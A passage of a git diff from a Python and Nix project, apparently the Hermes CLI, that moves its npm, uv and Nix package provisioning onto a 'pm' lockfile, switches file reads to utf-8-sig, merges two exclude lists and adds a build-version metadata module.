- env["CI"] = "1" - return env - - -def upgrade_managed_npm( - npm: str, - npm_range: str, - *, - prefix: Path, - quiet: bool = False, -) -> bool: - """Upgrade the managed npm at *npm* in place to satisfy *npm_range*. - - ``--prefix`` targets the managed tree explicitly: a managed install writes - ``prefix=~/.local`` into ``$HERMES_HOME/node/etc/npmrc`` so that global - installs land on PATH, and without the override the "upgrade" would install - a second npm somewhere else while the managed one stayed stale. - """ +def _pm_npm(*, quiet: bool = False) -> str | None: + """Install the pm-pinned node/npm packages and return pm's npm path.""" if not quiet: print( - f"→ Upgrading Hermes-managed npm to satisfy {npm_range}…", + "→ Provisioning the Hermes-pinned Node.js runtime " + "(the resolved npm belongs to your system and is left alone)…", flush=True, ) - # The managed npm lives inside the very tree the desktop app's Node - # processes execute from; an in-place upgrade while it is in use fails - # with PermissionError: [WinError 5] on npm.cmd (#80926). Defer instead - # of forcing the write — the upgrade re-triggers on the next resolution - # (e.g. the next update once the app is closed). - if managed_node_tree_in_use(): - if not quiet: - print( - " ⚠ deferred: the Hermes-managed Node.js tree is in use by a " - "running app; the npm upgrade will apply on a later update " - "once the app is closed.", - file=sys.stderr, - ) - return False try: - # A temp cwd keeps the checkout's .npmrc (engine-strict, min-release-age) - # from applying to the upgrade itself. - with tempfile.TemporaryDirectory(prefix="hermes-npm-upgrade-") as tmp: - result = subprocess.run( - [ - npm, - "install", - "--global", - "--prefix", - str(prefix), - f"npm@{npm_range}", - "--no-fund", - "--no-audit", - "--progress=false", - ], - cwd=tmp, - env=_upgrade_env(), - capture_output=True, - text=True, - encoding="utf-8", - errors="replace", - timeout=_UPGRADE_TIMEOUT, - check=False, - ) - except (OSError, subprocess.SubprocessError): - if not quiet: - print(" ✗ npm upgrade could not be started", file=sys.stderr) - return False + import pm - if result.returncode != 0: - if not quiet: - detail = (result.stderr or result.stdout or "").strip().splitlines() - print(" ✗ npm upgrade failed", file=sys.stderr) - for line in detail[-10:]: - print(f" {line}", file=sys.stderr) - return False + pm.ensure("npm") + from hermes_constants import _pm_node_executable - if not quiet: - print(f" ✓ npm upgraded to {_probe_version(npm) or npm_range}", flush=True) - return True - - -def _probe_version(npm: str) -> str | None: - try: - result = subprocess.run( - [npm, "--version"], - capture_output=True, - text=True, - encoding="utf-8", - errors="replace", - timeout=30, - env=with_hermes_node_path(), - check=False, - ) - except (OSError, subprocess.SubprocessError): - return None - return (result.stdout or "").strip() or None + managed = _pm_node_executable("npm") + except Exception: + managed = None + if not managed and not quiet: + print(" ✗ Managed Node.js provisioning failed", file=sys.stderr) + return managed def _print_manual_fix(npm: str, npm_range: str, actual: str | None) -> None: @@ -271,41 +149,6 @@ def _print_manual_fix(npm: str, npm_range: str, actual: str | None) -> None: ) -def _provision_managed_npm(npm_range: str | None, *, quiet: bool = False) -> str | None: - """Provision a Hermes-managed Node tree and return a satisfying npm. - - Installs the managed tree under ``$HERMES_HOME/node`` (reusing a healthy - one when present), then upgrades its bundled npm to *npm_range* — a fresh - Node LTS bundles an npm that may itself be outside the repo's range, so - without the upgrade the caller's single retry would fail the same way. - Falls back to the checkout's own ``engines.npm`` when npm did not state a - range (a Node-only mismatch), so the managed npm ends up in range either - way. Returns the managed npm path, or ``None`` when provisioning failed. - """ - if not quiet: - print( - "→ Provisioning a Hermes-managed Node.js runtime " - "(the resolved npm belongs to your system and is left alone)…", - flush=True, - ) - managed_npm = bootstrap_hermes_managed_node() - if not managed_npm: - if not quiet: - print(" ✗ Managed Node.js provisioning failed", file=sys.stderr) - return None - - prefix = managed_npm_prefix(managed_npm) - if prefix is None: # pragma: no cover - bootstrap returned a foreign path - return None - - target_range = npm_range or _repo_npm_range() - if target_range and not upgrade_managed_npm( - managed_npm, target_range, prefix=prefix, quiet=quiet - ): - return None - return managed_npm - - def maybe_repair_npm_engine( npm: str | None, output: str, @@ -315,13 +158,13 @@ def maybe_repair_npm_engine( """Repair an ``EBADENGINE`` failure, never touching a foreign toolchain. *output* is the combined stdout/stderr of the npm command that just failed. - Returns the npm executable the caller should retry its command with — - the same *npm* after an in-place upgrade of a Hermes-managed install, or - a freshly provisioned managed npm when the failing npm belongs to the - user (system / nvm / brew / Nix installs are never modified). Returns - ``None`` when no repair happened — not an engine failure, a Node mismatch - a managed npm upgrade cannot fix, or a failed upgrade/bootstrap — leaving - the original failure to stand. + Returns the npm executable the caller should retry its command with — the + pm-pinned npm, freshly ensured, when the failing npm was a foreign install + (system / nvm / brew / Nix installs are never modified). Returns ``None`` + when no repair happened — not an engine failure, the failing npm already + was pm's own (the lockfile pin is out of range; a runtime install cannot + fix that), or the pm install failed — leaving the original failure to + stand. The returned value is truthy exactly when the caller should retry once, so ``if maybe_repair_npm_engine(...)`` call sites keep working; they just @@ -330,25 +173,16 @@ def maybe_repair_npm_engine( if not npm or not is_ebadengine(output): return None - npm_range = required_npm_range(output) - prefix = managed_npm_prefix(npm) - - if prefix is not None: - # Hermes owns this npm — upgrade it in place. Only an npm-range - # failure is fixable this way; a Node mismatch needs a Node upgrade. - if not npm_range: - return None - if upgrade_managed_npm(npm, npm_range, prefix=prefix, quiet=quiet): - return npm - return None - - # Foreign npm (system / nvm / brew / Nix): provision our own runtime - # instead. This also covers Node-version mismatches — the managed tree - # ships a Node the repo supports. - managed = _provision_managed_npm(npm_range, quiet=quiet) + managed = _pm_npm(quiet=quiet) if managed: - return managed + try: + already_managed = Path(managed).resolve() == Path(npm).resolve() + except OSError: + already_managed = False + if not already_managed: + return managed + npm_range = required_npm_range(output) if not quiet and npm_range: _print_manual_fix(npm, npm_range, actual_npm_version(output)) return None diff --git a/hermes_cli/plugins_cmd.py b/hermes_cli/plugins_cmd.py index 912d93208d..7ab3d6c875 100644 --- a/hermes_cli/plugins_cmd.py +++ b/hermes_cli/plugins_cmd.py @@ -353,7 +353,7 @@ def _read_manifest(plugin_dir: Path) -> dict: try: import yaml - with open(manifest_file, encoding="utf-8") as f: + with open(manifest_file, encoding="utf-8-sig") as f: return yaml.safe_load(f) or {} except Exception as e: logger.warning("Failed to read plugin.yaml in %s: %s", plugin_dir, e) @@ -510,7 +510,7 @@ def _display_after_install(plugin_dir: Path, identifier: str) -> None: after_install = plugin_dir / "after-install.md" if after_install.exists(): - content = after_install.read_text(encoding="utf-8") + content = after_install.read_text(encoding="utf-8-sig") md = Markdown(content) console.print() console.print(Panel(md, border_style="green", expand=False)) @@ -570,7 +570,7 @@ def _read_install_metadata() -> dict[str, dict[str, object]]: if not path.exists(): return {} try: - value = json.loads(path.read_text(encoding="utf-8")) + value = json.loads(path.read_text(encoding="utf-8-sig")) except (OSError, json.JSONDecodeError) as exc: raise PluginOperationError(f"Could not read plugin install metadata: {exc}") from exc if not isinstance(value, dict): @@ -1779,7 +1779,7 @@ def _read_manifest_info(d: Path, prefix: str): description = "" if yaml: try: - with open(manifest_file, encoding="utf-8") as f: + with open(manifest_file, encoding="utf-8-sig") as f: manifest = yaml.safe_load(f) or {} name = manifest.get("name", d.name) version = manifest.get("version", "") @@ -1823,7 +1823,7 @@ def _bundled_default_on(dir_path) -> bool: try: import yaml - with open(manifest_file, encoding="utf-8") as f: + with open(manifest_file, encoding="utf-8-sig") as f: manifest = yaml.safe_load(f) or {} kind = str(manifest.get("kind", "standalone")).strip().lower() return kind in _BUNDLED_DEFAULT_ON_KINDS diff --git a/hermes_cli/profile_distribution.py b/hermes_cli/profile_distribution.py index 3fee24a9f1..a4049bafc3 100644 --- a/hermes_cli/profile_distribution.py +++ b/hermes_cli/profile_distribution.py @@ -95,26 +95,18 @@ DEFAULT_DIST_OWNED: Tuple[str, ...] = ( ) # Paths that are NEVER part of a distribution. These are user-owned and are -# protected on update. Must stay consistent with -# ``profiles.py::_DEFAULT_EXPORT_EXCLUDE_ROOT`` plus the ``local/`` -# convention for user customizations. -USER_OWNED_EXCLUDE: frozenset = frozenset({ - # Credentials & runtime secrets - "auth.json", ".env", - # Databases & runtime state - "state.db", "state.db-shm", "state.db-wal", - "hermes_state.db", "response_store.db", - "response_store.db-shm", "response_store.db-wal", - "gateway.pid", "gateway_state.json", "processes.json", - "auth.lock", "active_profile", ".update_check", - "errors.log", ".hermes_history", - # User data - "memories", "sessions", "logs", "plans", "workspace", "home", - "image_cache", "audio_cache", "document_cache", - "browser_screenshots", "checkpoints", "sandboxes", +# protected on update. This is NOT a third copy of the exclude list: it is +# the export-side authority (``profiles.py::DEFAULT_EXPORT_EXCLUDE_ROOT``) +# plus the distribution-specific additions — user data dirs an export archive +# may carry (memories, sessions, ...) but a distribution payload must never +# shadow, and the ``local/`` convention for user customizations. +from hermes_cli.profiles import DEFAULT_EXPORT_EXCLUDE_ROOT + +USER_OWNED_EXCLUDE: frozenset = DEFAULT_EXPORT_EXCLUDE_ROOT | frozenset({ + # User data a distribution payload must never shadow (an export archive + # intentionally carries these; an install/update must not overwrite) + "memories", "sessions", "plans", "workspace", "home", "backups", "cache", - # Infrastructure - "hermes-agent", ".worktrees", "profiles", "bin", "node_modules", # User customization namespace "local", }) diff --git a/hermes_cli/profiles.py b/hermes_cli/profiles.py index 40fb3a31da..3df3e5dc19 100644 --- a/hermes_cli/profiles.py +++ b/hermes_cli/profiles.py @@ -209,7 +209,12 @@ def _clone_all_copytree_ignore(source_dir: Path): # The default profile contains infrastructure (repo checkout, worktrees, DBs, # caches, binaries) that named profiles don't have. We exclude those so the # export is a portable, reasonable-size archive of actual profile data. -_DEFAULT_EXPORT_EXCLUDE_ROOT = frozenset({ +# The ONE exclude-list authority for "infrastructure / runtime state that is +# not profile data". The export path (``_default_export_ignore``) consumes it +# directly; the distribution path (``profile_distribution.USER_OWNED_EXCLUDE``) +# layers its distribution-specific additions on top of it. Keep new root +# artifacts here — not in a downstream copy. +_DEFAULT_EXPORT_EXCLUDE_ROOT = DEFAULT_EXPORT_EXCLUDE_ROOT = frozenset({ # Infrastructure "hermes-agent", # repo checkout (multi-GB) ".worktrees", # git worktrees diff --git a/hermes_cli/setup.py b/hermes_cli/setup.py index b68849d348..e4f9f069ff 100644 --- a/hermes_cli/setup.py +++ b/hermes_cli/setup.py @@ -922,7 +922,7 @@ def _read_nearest_vercel_project(start: Path | None = None) -> dict[str, str]: if not project_file.exists(): continue try: - data = json.loads(project_file.read_text(encoding="utf-8")) + data = json.loads(project_file.read_text(encoding="utf-8-sig")) except (OSError, json.JSONDecodeError): return {} if not isinstance(data, dict): @@ -1661,19 +1661,20 @@ def setup_terminal_backend(config: dict): print_info("Installing vercel SDK...") import subprocess - # Managed uv first: $HERMES_HOME/bin is never on PATH, so a bare - # which() misses the uv Hermes installed. Bootstrapping one is + # Managed uv first: the store is never on PATH, so a bare + # which() misses the uv Hermes installed. Realizing one is # welcome here — this is the interactive setup wizard, already # mid-install, and the alternative tier is a pip that a `uv venv` # venv may not even have. - from hermes_cli.managed_uv import ensure_uv + import pm - uv_bin = ensure_uv() + uv_bin, uv_env = pm.uv() if uv_bin: result = subprocess.run( [uv_bin, "pip", "install", "--python", sys.executable, "vercel"], capture_output=True, text=True, + env=uv_env, ) else: result = subprocess.run( diff --git a/hermes_cli/tools_config.py b/hermes_cli/tools_config.py index 018178d916..2000a2a792 100644 --- a/hermes_cli/tools_config.py +++ b/hermes_cli/tools_config.py @@ -875,17 +875,16 @@ def _pip_install( (or the last failure for the caller to inspect). """ venv_root = Path(sys.executable).parent.parent - uv_env = {**os.environ, "VIRTUAL_ENV": str(venv_root)} - # Managed uv first: $HERMES_HOME/bin is never on PATH, so a bare which() + # Managed uv first: the store is never on PATH, so a bare which() # misses the uv Hermes installed and prefers a system one when both exist. - # ensure_uv() rather than a pure lookup because this runs during setup, + # pm realizes uv rather than a pure lookup because this runs during setup, # where installing uv is in scope — and tier 2 is a pip that the Windows # installer's `uv venv` does not seed, so failing to find uv here is the # difference between a working post-setup hook and "No module named pip". - from hermes_cli.managed_uv import ensure_uv + import pm - uv_bin = ensure_uv() + uv_bin, uv_env = pm.uv(venv=venv_root) if uv_bin: try: result = subprocess.run( @@ -1434,7 +1433,7 @@ def _clear_stale_cua_install_lock() -> None: holder_pid = None info = lock_dir / "info" try: - for line in info.read_text(encoding="utf-8", errors="replace").splitlines(): + for line in info.read_text(encoding="utf-8-sig", errors="replace").splitlines(): if line.startswith("pid="): holder_pid = int(line.split("=", 1)[1].strip()) break diff --git a/hermes_cli/version_info.py b/hermes_cli/version_info.py new file mode 100644 index 0000000000..92876a3334 --- /dev/null +++ b/hermes_cli/version_info.py @@ -0,0 +1,272 @@ +"""Truthful derived build-version metadata for user-facing Hermes displays. + +``__version__`` remains the package/API version. This module adds a display +suffix only when it can prove the number of commits since that release. + +Resolution order: +1. Install stamp (``install-stamp.json``) — written at build time by + ``scripts/write_install_stamp.py`` for every packager (Docker, Nix, and + the desktop app). The stamp is authoritative + for packaged builds. +2. Live git — for source/dev installs with a ``.git`` directory. +3. Unknown — no stamp and no git. The provenance is unknown. +""" + +from __future__ import annotations + +import json +import os +import subprocess +from dataclasses import dataclass +from pathlib import Path +from typing import Literal, cast + +from hermes_cli import __release_date__, __version__ + + +@dataclass(frozen=True) +class VersionInfo: + base_version: str + derived_version: str + distance: int | None + commit: str | None + branch: str | None + source: Literal["build", "ci", "docker", "fallback", "git", "local", "nix", "unknown"] + dirty: bool = False + commit_date: int | None = None + distribution: Literal["docker", "nix", "desktop-app"] | None = None + + +def _derived_version(base_version: str, distance: int | None, dirty: bool = False) -> str: + if distance and distance > 0: + return f"{base_version}+{distance}" + if dirty and distance is None: + return f"{base_version}+?" + return base_version + + +def _run_git(repo_dir: Path, *args: str) -> str | None: + try: + result = subprocess.run( + ["git", *args], capture_output=True, text=True, timeout=3, cwd=str(repo_dir) + ) + except (OSError, subprocess.SubprocessError): + return None + value = (result.stdout or "").strip() + return value if result.returncode == 0 and value else None + + +def _resolve_repo_dir() -> Path | None: + """Use the executing checkout before a profile's optional clone.""" + repo_dir = Path(__file__).parent.parent.resolve() + if (repo_dir / ".git").exists(): + return repo_dir + try: + from hermes_constants import get_hermes_home + + candidate = get_hermes_home() / "hermes-agent" + if (candidate / ".git").exists(): + return candidate + except Exception: + pass + return None + + +def _parse_nonnegative(value: str | None) -> int | None: + try: + parsed = int(value or "") + except ValueError: + return None + return parsed if parsed >= 0 else None + + +# --- Install stamp reader --------------------------------------------------- + +# The stamp file lives at the install root: beside the code in source +# checkouts and Docker (which writes it to the project root), and in the +# artifact's resources dir for sealed installs — whose processes carry +# HERMES_INSTALL_ROOT (the Nix wrapper points it at the store path's +# share/hermes-agent, where the stamp is baked). One resolution path for +# every steward; no stamp-specific env override. +_CODE_ROOT = Path(__file__).parent.parent + + +def _resolve_stamp_file() -> Path | None: + root = os.environ.get("HERMES_INSTALL_ROOT") + base = Path(root) if root else _CODE_ROOT + p = base / "install-stamp.json" + return p if p.is_file() else None + + +def _stamp_version_info() -> VersionInfo | None: + """Read provenance from a build-time install stamp.""" + stamp_file = _resolve_stamp_file() + if stamp_file is None: + return None + try: + raw = stamp_file.read_text(encoding="utf-8-sig") + data = json.loads(raw) + except (OSError, json.JSONDecodeError): + return None + + if not isinstance(data, dict) or "commit" not in data: + return None + + # updateMechanism is required in every stamp. A stamp without it means + # the writing build lane must be fixed, not tolerated. + if data.get("updateMechanism") not in ("self", "electron-updater", "external"): + raise RuntimeError( + f"install-stamp.json at {stamp_file} is missing a valid " + "'updateMechanism' (one of self, electron-updater, external). The " + "build lane that wrote this stamp must pass --update-mechanism to " + "scripts/write_install_stamp.py (or bake the field directly)." + ) + # A light artifact ships no Python runtime. Reading a light stamp from + # a Python process means the artifact was mispackaged. + if data.get("payload") == "light": + raise RuntimeError( + f"install-stamp.json at {stamp_file} marks this artifact as 'light' " + "(no agent runtime). No Python process can legitimately run from a " + "light artifact — this build is mispackaged." + ) + + commit = data.get("commit") or None + if not commit or set(commit) == {"0"}: + # All-zero placeholder = fallback stamp, not real provenance. + return None + + base_version = data.get("baseVersion") or __version__ + display_version = data.get("displayVersion") or base_version + distance = data.get("distance") + if isinstance(distance, str): + distance = _parse_nonnegative(distance) + + # ``source`` describes build provenance, while ``distribution`` identifies + # the package form users installed. Keep both facts intact for support. + stamp_source = str(data.get("source") or "") + source = ( + cast(Literal["build", "ci", "docker", "fallback", "git", "local", "nix", "unknown"], stamp_source) + if stamp_source in {"ci", "docker", "fallback", "local", "nix"} + else "build" + ) + distribution = data.get("distribution") + if distribution not in {"docker", "nix", "desktop-app"}: + distribution = None + + commit_date = data.get("commitDate") + if not isinstance(commit_date, int): + commit_date = None + + return VersionInfo( + base_version, + display_version, + distance if isinstance(distance, int) else None, + commit, + data.get("branch") or None, + source, + bool(data.get("dirty")), + commit_date, + distribution, + ) + + +# --- Git provenance (source/dev installs) ----------------------------------- + + +def _git_version_info(repo_dir: Path) -> VersionInfo: + commit = _run_git(repo_dir, "rev-parse", "HEAD") + # A detached HEAD has no branch. Leave the field None: every formatter + # already prints the commit separately and handles a missing branch. + branch = _run_git(repo_dir, "branch", "--show-current") + commit_date_raw = _run_git(repo_dir, "log", "-1", "--format=%ct", "HEAD") + commit_date: int | None = None + if commit_date_raw and commit_date_raw.isdigit(): + commit_date = int(commit_date_raw) + try: + # -uno: skip the untracked-file scan. This runs on the startup-banner + # path, and a full working-tree walk costs real time on large or cold + # checkouts. Same semantics as write_install_stamp.py. + dirty_result = subprocess.run( + ["git", "status", "--porcelain", "-uno"], + capture_output=True, + text=True, + timeout=3, + cwd=str(repo_dir), + ) + dirty = dirty_result.returncode == 0 and bool((dirty_result.stdout or "").strip()) + except (OSError, subprocess.SubprocessError): + dirty = False + + # New releases are SemVer tags. The release-date fallback lets existing + # CalVer-tagged releases display a correct distance during the transition. + distance = None + for tag in (f"v{__version__}", f"v{__release_date__}"): + raw_distance = _run_git(repo_dir, "rev-list", "--count", f"{tag}..HEAD") + parsed_distance = _parse_nonnegative(raw_distance) + if parsed_distance is not None: + distance = parsed_distance + break + + return VersionInfo( + __version__, _derived_version(__version__, distance, dirty), distance, commit, branch, "git", dirty, commit_date + ) + + +# --- Cache + public API ----------------------------------------------------- + +_cached_version_info: VersionInfo | None = None + + +def _reset_version_info_cache() -> None: + """Test-only cache reset.""" + global _cached_version_info + _cached_version_info = None + + +def get_version_info() -> VersionInfo: + """Return cached provenance from install stamp, git, or unknown.""" + global _cached_version_info + if _cached_version_info is not None: + return _cached_version_info + + # 1. Install stamp (packaged builds: Docker, Nix) + info = _stamp_version_info() + + # 2. Live git (source/dev installs) + if info is None: + repo_dir = _resolve_repo_dir() + if repo_dir is not None: + info = _git_version_info(repo_dir) + + # 3. Unknown — no stamp, no git + if info is None: + info = VersionInfo(__version__, __version__, None, None, None, "unknown") + + _cached_version_info = info + return info + + +def get_code_identity(refresh: bool = False) -> dict: + """Return the running install's code identity as a flat dict. + + Shape: ``{"sha": full sha | None, "short_sha": str | None, "version": + base package version | None, "source": str}`` — what the update + receipt, runtime inventory, and gateway status stamping consume. + Backed by :func:`get_version_info` (install stamp first, live git + second, unknown third), so every consumer shares one resolution + policy. Returned dicts are fresh copies, never the shared cache. + + ``refresh=True`` drops the per-process cache first — the updater uses + it to re-read identity after swapping the checkout out from under the + running process. + """ + global _cached_version_info + if refresh: + _cached_version_info = None + info = get_version_info() + return { + "sha": info.commit, + "short_sha": info.commit[:8] if info.commit else None, + "version": info.base_version, + "source": info.source, + } diff --git a/hermes_cli/web_server.py b/hermes_cli/web_server.py index 9aad4fd8e4..c9015f2407 100644 --- a/hermes_cli/web_server.py +++ b/hermes_cli/web_server.py @@ -151,7 +151,7 @@ def _process_start_marker(pid: int) -> str: """ if sys.platform == "linux": try: - stat_line = Path(f"/proc/{pid}/stat").read_text(encoding="utf-8") + stat_line = Path(f"/proc/{pid}/stat").read_text(encoding="utf-8-sig") except FileNotFoundError as exc: raise ProcessLookupError(pid) from exc @@ -3543,7 +3543,7 @@ def _read_or_create_install_id() -> Optional[str]: root = get_default_hermes_root() path = root / _INSTALL_ID_FILENAME try: - existing = path.read_text(encoding="utf-8").strip().lower() + existing = path.read_text(encoding="utf-8-sig").strip().lower() if _INSTALL_ID_RE.match(existing): return existing except FileNotFoundError: @@ -6091,7 +6091,7 @@ def _read_flat_json(provider: ProviderConfigSchema) -> Dict[str, Any]: if not path.exists(): return {} try: - data = json.loads(path.read_text(encoding="utf-8")) + data = json.loads(path.read_text(encoding="utf-8-sig")) except Exception: _log.warning("Failed to read memory provider config from %s", path, exc_info=True) return {} @@ -6143,7 +6143,7 @@ def _honcho_read_sources() -> tuple[Dict[str, Any], str, Dict[str, Any]]: raw: Dict[str, Any] = {} if path.exists(): try: - loaded = json.loads(path.read_text(encoding="utf-8")) + loaded = json.loads(path.read_text(encoding="utf-8-sig")) raw = loaded if isinstance(loaded, dict) else {} except Exception: _log.warning("Failed to read Honcho config from %s", path, exc_info=True) @@ -6253,7 +6253,7 @@ def _write_provider_honcho(provider: ProviderConfigSchema, values: Dict[str, str cfg: Dict[str, Any] = {} if path.exists(): try: - loaded = json.loads(path.read_text(encoding="utf-8")) + loaded = json.loads(path.read_text(encoding="utf-8-sig")) cfg = loaded if isinstance(loaded, dict) else {} except Exception: _log.warning("Failed to read Honcho config from %s", path, exc_info=True) @@ -6786,7 +6786,7 @@ def _read_json_file(path: Path) -> Dict[str, Any]: if not path.exists(): return {} try: - data = json.loads(path.read_text(encoding="utf-8")) + data = json.loads(path.read_text(encoding="utf-8-sig")) except Exception: _log.debug("Failed to read JSON config from %s", path, exc_info=True) return {} @@ -9749,7 +9749,7 @@ def _whatsapp_phone_from_identifier(value: Any) -> str | None: def _whatsapp_linked_account_from_session(session_path: Path) -> tuple[str | None, str | None, str | None]: creds_path = session_path / "creds.json" try: - payload = json.loads(creds_path.read_text(encoding="utf-8")) + payload = json.loads(creds_path.read_text(encoding="utf-8-sig")) except Exception: return None, None, None @@ -13464,7 +13464,7 @@ def _profile_env_value(home: Path, key: str) -> str: env_path = home / ".env" if not env_path.is_file(): return "" - for line in env_path.read_text(encoding="utf-8").splitlines(): + for line in env_path.read_text(encoding="utf-8-sig").splitlines(): line = line.strip() if not line or line.startswith("#") or "=" not in line: continue @@ -13628,7 +13628,7 @@ def _gateway_intentionally_stopped(profile: Optional[str]) -> bool: state_file = home / "gateway_state.json" if not state_file.exists(): return False - data = _json.loads(state_file.read_text(encoding="utf-8")) + data = _json.loads(state_file.read_text(encoding="utf-8-sig")) if not isinstance(data, dict): return False return data.get("desired_state") == "stopped" @@ -15740,7 +15740,7 @@ async def get_config_raw(profile: Optional[str] = None): path = get_config_path() if not path.exists(): return {"yaml": "", "path": str(path)} - return {"yaml": path.read_text(encoding="utf-8"), "path": str(path)} + return {"yaml": path.read_text(encoding="utf-8-sig"), "path": str(path)} return await asyncio.to_thread(_run) @@ -16901,7 +16901,7 @@ def _active_session_file_for_channel(app: "FastAPI", channel: str) -> Path: def _read_active_session_file(path: Path) -> Optional[str]: try: - data = json.loads(path.read_text(encoding="utf-8")) + data = json.loads(path.read_text(encoding="utf-8-sig")) except (OSError, json.JSONDecodeError): return None @@ -17974,7 +17974,7 @@ def mount_spa(application: FastAPI): auth scheme for /api/pty and /api/ws (ticket vs token). """ try: - html = _index_path.read_text(encoding="utf-8") + html = _index_path.read_text(encoding="utf-8-sig") except OSError: # The dist dir existed at mount time but index.html is missing or # unreadable now (partial build, wiped dist, permissions). Without @@ -18044,7 +18044,7 @@ def mount_spa(application: FastAPI): ): return JSONResponse({"error": "not found"}, status_code=404) prefix = _normalise_prefix(request.headers.get("x-forwarded-prefix")) - css = css_path.read_text(encoding="utf-8") + css = css_path.read_text(encoding="utf-8-sig") if prefix: for asset_dir in ("/fonts/", "/fonts-terminal/", "/ds-assets/", "/assets/"): css = css.replace(f"url({asset_dir}", f"url({prefix}{asset_dir}") @@ -18357,7 +18357,7 @@ def _discover_user_themes() -> list: result = [] for f in sorted(themes_dir.glob("*.yaml")): try: - data = yaml.safe_load(f.read_text(encoding="utf-8")) + data = yaml.safe_load(f.read_text(encoding="utf-8-sig")) except Exception: continue normalised = _normalise_theme_definition(data) @@ -18569,7 +18569,7 @@ def _discover_dashboard_plugins() -> list: if not manifest_file.exists(): continue try: - data = json.loads(manifest_file.read_text(encoding="utf-8")) + data = json.loads(manifest_file.read_text(encoding="utf-8-sig")) name = data.get("name", child.name) if name in seen_names: continue diff --git a/nix/lib.nix b/nix/lib.nix index 21cb5f555e..51f530db53 100644 --- a/nix/lib.nix +++ b/nix/lib.nix @@ -32,7 +32,7 @@ let repoRoot = ./..; - npm12 = callPackage ./npm-12-0-2.nix { }; + npm12 = callPackage ./npm-pinned.nix { }; node_gyp_11_4_0 = callPackage ./node-gyp-11-4-0.nix { }; nodejs_26_npm_12 = symlinkJoin { name = "nodejs-26-npm-12"; diff --git a/nix/npm-12-0-2.nix b/nix/npm-12-0-2.nix deleted file mode 100644 index a583b11797..0000000000 --- a/nix/npm-12-0-2.nix +++ /dev/null @@ -1,29 +0,0 @@ -{ - stdenv, - makeWrapper, - fetchurl, - nodejs_26, -}: -stdenv.mkDerivation rec { - pname = "npm"; - version = "12.0.2"; - - src = fetchurl { - url = "https://registry.npmjs.org/npm/-/npm-${version}.tgz"; - hash = "sha256-XbuGxx0HoZV/LpBzQJLdali9zZ68LY1ByhxuaiHTZOE="; - }; - - nativeBuildInputs = [ makeWrapper ]; - dontBuild = true; - - installPhase = '' - mkdir -p $out/lib/npm12 - cp -r . $out/lib/npm12/ - mkdir -p $out/bin - - makeWrapper ${nodejs_26}/bin/node $out/bin/npm \ - --add-flags "$out/lib/npm12/bin/npm-cli.js" - makeWrapper ${nodejs_26}/bin/node $out/bin/npx \ - --add-flags "$out/lib/npm12/bin/npx-cli.js" - ''; -} diff --git a/nix/npm-pinned.nix b/nix/npm-pinned.nix new file mode 100644 index 0000000000..cca054b09d --- /dev/null +++ b/nix/npm-pinned.nix @@ -0,0 +1,36 @@ +{ + stdenv, + makeWrapper, + fetchurl, + nodejs_26, +}: +let + # pm/lock.json is the one pin table. Every artifact carries its resolved + # url + sha256, so nix consumes it as pure data — no version or url + # knowledge lives on the nix side. + lock = builtins.fromJSON (builtins.readFile ../pm/lock.json); + pin = lock.packages.npm; +in +stdenv.mkDerivation { + pname = "npm"; + version = pin.version; + + src = fetchurl { + url = pin.artifacts.any.url; + sha256 = pin.artifacts.any.sha256; + }; + + nativeBuildInputs = [ makeWrapper ]; + dontBuild = true; + + installPhase = '' + mkdir -p $out/lib/npm + cp -r . $out/lib/npm/ + mkdir -p $out/bin + + makeWrapper ${nodejs_26}/bin/node $out/bin/npm \ + --add-flags "$out/lib/npm/bin/npm-cli.js" + makeWrapper ${nodejs_26}/bin/node $out/bin/npx \ + --add-flags "$out/lib/npm/bin/npx-cli.js" + ''; +} diff --git a/nix/pm-packages.nix b/nix/pm-packages.nix new file mode 100644 index 0000000000..7bf2abb8a1 --- /dev/null +++ b/nix/pm-packages.nix @@ -0,0 +1,69 @@ +{ + lib, + stdenv, + fetchurl, + unzip, +}: +# The thin translation layer: pm/lock.json -> one fetched, unpacked +# derivation per package for this nix system. Nothing here knows versions, +# urls, or hashes — the lockfile is the complete machine interface, the +# same one `pm install` and `pm bundle` consume. +# +# Consumers pick what they need: (callPackage ./pm-packages.nix { }).ripgrep +# Packages with no artifact for this system are simply absent. +let + lock = builtins.fromJSON (builtins.readFile ../pm/lock.json); + + target = + let + arch = if stdenv.hostPlatform.isAarch64 then "arm64" else "x64"; + os = + if stdenv.hostPlatform.isDarwin then "darwin" + else if stdenv.hostPlatform.isLinux then "linux" + else "win32"; + in + "${os}-${arch}"; + + # A target pins one artifact or a list of them (a runtime split across + # archives that must land in one directory). Normalize to a list. + artifactsFor = + pin: + let + found = pin.artifacts.${target} or pin.artifacts.any or null; + in + if found == null then null else if builtins.isList found then found else [ found ]; + + derive = name: pin: artifacts: + stdenv.mkDerivation { + pname = name; + version = pin.version; + + srcs = map (artifact: fetchurl { + url = artifact.url; + sha256 = artifact.sha256; + }) artifacts; + + # pm's store publishes the unpacked tree; mirror that shape. Several + # archives unpack over one another into the same root, exactly as + # pm merges them into one store entry. + sourceRoot = "."; + nativeBuildInputs = + lib.optional (lib.any (a: lib.hasSuffix ".zip" a.url) artifacts) unzip; + dontBuild = true; + dontConfigure = true; + + installPhase = '' + mkdir -p $out + cp -r . $out/ + ''; + }; +in +lib.filterAttrs (_: v: v != null) ( + lib.mapAttrs ( + name: pin: + let + artifacts = artifactsFor pin; + in + if artifacts == null then null else derive name pin artifacts + ) lock.packages +) diff --git a/plugins/memory/hindsight/__init__.py b/plugins/memory/hindsight/__init__.py index 7f9079ee27..3ee8bdf9e8 100644 --- a/plugins/memory/hindsight/__init__.py +++ b/plugins/memory/hindsight/__init__.py @@ -71,7 +71,7 @@ class _RecallResult: _DEFAULT_API_URL = "https://api.hindsight.vectorize.io" _DEFAULT_LOCAL_URL = "http://localhost:8888" -# Keep in sync with tools/lazy_deps.py ("memory.hindsight") and plugin.yaml. +# Keep in sync with the pyproject "hindsight" extra and plugin.yaml. _MIN_CLIENT_VERSION = "0.6.1" _DEFAULT_TIMEOUT = 120 # seconds — cloud API can take 30-40s per request _DEFAULT_IDLE_TIMEOUT = 300 # seconds — Hindsight embedded daemon default @@ -204,8 +204,8 @@ def _local_runtime_hint(reason: str | None) -> str: def _ensure_cloud_client_dependency() -> None: """Install the Hindsight cloud client lazily before importing it.""" try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("memory.hindsight", prompt=False) + from pm import ensure_import as _lazy_ensure + _lazy_ensure("hindsight") except ImportError: pass except Exception as exc: @@ -431,7 +431,7 @@ def _load_config() -> dict: profile_path = get_hermes_home() / "hindsight" / "config.json" if profile_path.exists(): try: - return 